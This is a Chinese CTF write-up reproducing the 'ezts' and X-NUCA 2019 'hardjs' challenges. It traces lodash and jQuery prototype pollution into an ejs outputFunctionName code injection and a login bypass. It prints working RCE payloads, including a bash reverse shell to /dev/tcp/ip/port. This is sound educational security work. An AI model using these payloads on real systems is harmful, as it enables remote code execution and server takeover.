前言
D^CTF的赛题质量是非常高的,但是比较遗憾在比赛中没有做出了,因此赛后根据大佬们的博客来复现一下。
0x02 ezts
前置知识如下:
Express+lodash+ejs: 从原型链污染到RCE
参考链接如下:
https://evi0s.com/2019/08/30/expresslodashejs-%e4%bb%8e%e5%8e%9f%e5%9e%8b%e9%93%be%e6%b1%a1%e6%9f%93%e5%88%b0rce/
RCE 的前提是要有原型链污染,原型链污染原理等具体不再赘述
通过下面的payload来验证当前loadsh
库的版本是否有原型链污染。
1 | const mergeFn=require('lodash').defaultsDeep; |
先来个最简单的应用
1 | const express = require('express'); |
断点打在res.render('index')
这一行,Force Step into调试。
可以看到进入了express的response
中,获取options
,然后触发 app 渲染引擎进行渲染。
这里又是一系列参数和设置,可以跳过
这里是寻找 app 的渲染引擎。可以看到已经被配置为了 ejs,传递参数和模版文件,开始尝试渲染。
调用渲染引擎。到这里,我们已经调试到了 ejs 库中。
可以看到很复杂一坨,都是配置渲染设置,不管他,继续调试到 tryHandleCache。
一堆 Promise 的适配,再看这坨屎一样的 js 我要死了,继续调 handleCache。
是缓存设置,没啥用,终于调到了编译函数,开始渲染页面了。
又是设置,跳过,看到实例化一个模版类,然后调用模版的 compile 成员函数,继续跟进。
看到这里,立刻发现这里有一个代码注入的漏洞
仔细解释一下:
可以看到, opts 对象 outputFunctionName 成员在 express 配置的时候并没有给他赋值,默认也是未定义,即 undefined,这样在 574 行时,if 判否,跳过
但是在我们有原型链污染的前提之下,我们可以控制基类的成员。这样我们给 Object 类创建一个成员 outputFunctionName,这样可以进入 if 语句,并将我们控制的成员 outputFunctionName 赋值为一串恶意代码,从而造成代码注入。在后面模版渲染的时候,注入的代码被执行,也就是这里存在一个代码注入的 RCE
至于恶意代码构造就非常简单了。在不考虑后果的情况下,我们可以直接构造如下代码
1 | a; return global.process.mainModule.constructor._load('child_process').execSync('whoami'); // |
放到代码里面看就是
1 | prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n'; |
拿到shell的代码如下:
1 | a; return global.process.mainModule.constructor._load('child_process').execSync('bash -c "/bin/bash -i > /dev/tcp/ip/port 0<&1 2>&1"'); // |
可想而知,在污染了原型链之后,渲染直接变成了执行代码,并提前 return,从而 getshell
注明:上面的过程是我根据,大佬的过程自己走过的,原文链接在上面提供了。
由于出题人还没有放出环境,那么以后再复现,由于与X-NUCA 2019 hardjs
知识点差不多,因此选择复现hardjs
。
初步分析
题目直接给了源码,所以可以进行一下审计。打开源码目录,最显眼的就是server.js
和robot.py
。
先分析一下server.js
。大概的源码已加注释。
1 | const fs = require('fs'); |
可以发现这个服务器是nodejs
来搭建的,并且用了express
这个框架,模板渲染引擎用了ejs
:
1 | const fs = require('fs'); |
审计一下代码可以看到有以下的路由:
/
首页/static
静态文件/sandbox
显示用户HTML数据用的沙盒/login
登陆/register
注册/get
json接口获取数据库中保存的数据/add
用户添加数据的接口
除了/static
,/login
和/register
以外,所以路由在访问的时候都会经过一个auth
函数进行身份验证
因为做了转义处理,所以应该是没有Sql注入的问题,需要从其他方面下手。
另外在初始化的时候有这么一句
1 | app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json()) |
所以我们可以通过json格式传递参数到服务端
发现问题
在/get
中我们可以发现,查询出来的结果,如果超过5条,那么会被合并成一条。具体的过程是,先通过sql查询出来当前用户所有的数据,然后一条条合并到一起,关键代码如下
1 | var sql = "select `id`,`dom` from `html` where userid=? "; |
其中的lodash.defaultsDeep(doms,JSON.parse( raws[i].dom ));
恰好是前段时间公布的CVE-2019-10744
的攻击对象,再看一下版本刚好是4.17.11,并没有修复这个漏洞。所以我们可以利用这个漏洞进行原型链污染。
原型链污染
参考下面的链接。
发现利用点
在server.js
中,有一处很符合我们要寻找的利用点,即auth
函数中判断用户的部分在server.js中,有一处很符合我们要寻找的利用点,即auth函数中判断用户的部分
1 | function auth(req,res,next){ |
在我们没有登陆以前,req.seesion.login
和req.session.userid
是undefined的,而session对象的父类肯定包含了Object,所以我们只要修改Object中的这部分代码就可以绕过登陆,以admin身份访问网页。
尝试XSS攻击
知道了上述的利用点以后,回去审计robot.py
可以发现,flag值是存在环境变量中的,并且是admin的密码,robot会打开本地页面的首页/
(原先是会自动跳转到/login
,当然我们现在可以bypass掉这个跳转),然后robot会根据form的name填写用户名和密码,并点击submit按钮。
因为首页会自动加载我们保存的html数据,所以这个时候我的思路是可以构造一个form,但是提交地址是自己的服务器,这样就可以接受到来自bot的flag了。
再加上robot.py
中的以下细节,我认为从前端下手应该是出题人预留的预期解之一。
1 | chrome_options.add_argument('--disable-xss-auditor') |
所以审计前端的app.js
发现所有我们保存在数据库的数据是动态加载到一个有sanbox
标签的iframe中,这就导致即使我们可以写一个表单,也无法被提交,我们的数据中的js是不会被执行的。
不过恰巧的是app.js
使用的Jquery前段时间也有一个原型链污染漏洞被曝出,而且在页面中也使用到了
1 | for(var i=0 ;i<datas.length; i++){ |
具体的CVE号是CVE-2019-11358,利用方法类似上文的漏洞。
官方的payload参考如下:
https://github.com/NeSE-Team/OurChallenges/tree/master/XNUCA2019Qualifier/Web/hardjs
挖掘后端攻击方法
请看前文的介绍。
成功攻击
可以发现process是可以访问到的,所以我们可以用来反弹shell
最后的payload如下
1 | { |